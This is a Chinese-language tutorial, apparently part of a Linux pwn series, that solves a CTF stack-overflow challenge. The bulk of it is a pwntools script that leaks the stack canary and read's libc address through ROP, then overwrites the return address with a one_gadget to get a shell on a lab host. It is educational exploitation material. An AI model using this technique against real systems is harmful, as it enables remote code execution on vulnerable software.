64位動態連接程序,開啓了棧溢出和數據段不可執行保護
read函數很明顯的棧溢出漏洞
因爲題目給了libc,咱們能夠使用one_gadget得到gadget在libc中的偏移,經過泄露其餘函數庫的偏移計算gadget在內存中的位置。因爲程序中有棧溢出保護,咱們能夠利用功能2,功能2的做用是puts打印咱們輸入的字符串,咱們能夠利用功能2將canary泄露出來,這樣咱們就能夠進行棧溢出了,後面的步驟就簡單了,利用rop技術便可pwn掉程序。
#!/usr/bin/python #coding:utf-8 from pwn import * context.update(os = 'linux', arch = 'amd64') io = remote('172.17.0.2', 10001) pop_rdi = 0x400ea3 #pop rdi;ret puts_plt = 0x4008d0 #puts函數plt表地址 read_got = 0x602030 #read函數got表地址 start = 0x4009a0 #start函數首地址 io.sendline('1') io.send('A'*164+'ABCDE') #在選項1中輸入168個padding字符到達canary。因爲canary最後兩位恆爲\x00防止意外泄露,所以須要多一個字符覆蓋掉\x00,使得canary可被字符串輸出函數輸出。 sleep(0.5) io.sendline('2') io.recvuntil('ABCDE') canary = u64('\x00'+io.recv(7)) #給canary補上\x00,把被字符'B'覆蓋掉的\x00恢復回來,注意是大端序。 log.info("Leak canary = %#x" %(canary)) payload = "" payload += "A"*168 #padding payload += p64(canary) #在canary應該在的位置上寫canary payload += "B"*8 #覆蓋rbp payload += p64(pop_rdi) payload += p64(read_got) payload += p64(puts_plt) payload += p64(start) #調用puts輸出read在內存中的地址,而後回到start從新開始 io.recv() io.sendline('1') io.send(payload) io.recv() io.sendline('3') #經過選項3退出循環,從而觸發棧溢出,泄露read在內存中的地址 io.recvuntil('TIME TO MINE MIENRALS...\n') read_addr = u64(io.recv()[:6]+"\x00\x00") #u64()的參數必須是長度爲8的字符串,手動補齊 log.info("Leak read addr = %#x" %(read_addr)) one_gadget_addr = read_addr - 0xf8880 + 0x45526 #計算one_gadget的地址,0xf8880跟0x45526分別爲read跟gadget距離libc頭部的偏移 io.sendline('1') payload = "" payload += "A"*168 payload += p64(canary) #在canary應該在的位置上寫canary payload += "B"*8 #覆蓋rbp payload += p64(one_gadget_addr) #棧溢出觸發one gadget RCE io.send(payload) io.recv() io.sendline('3') #退出main程序觸發棧溢出 io.recv() io.interactive()
Linux pwn入門教程(9)python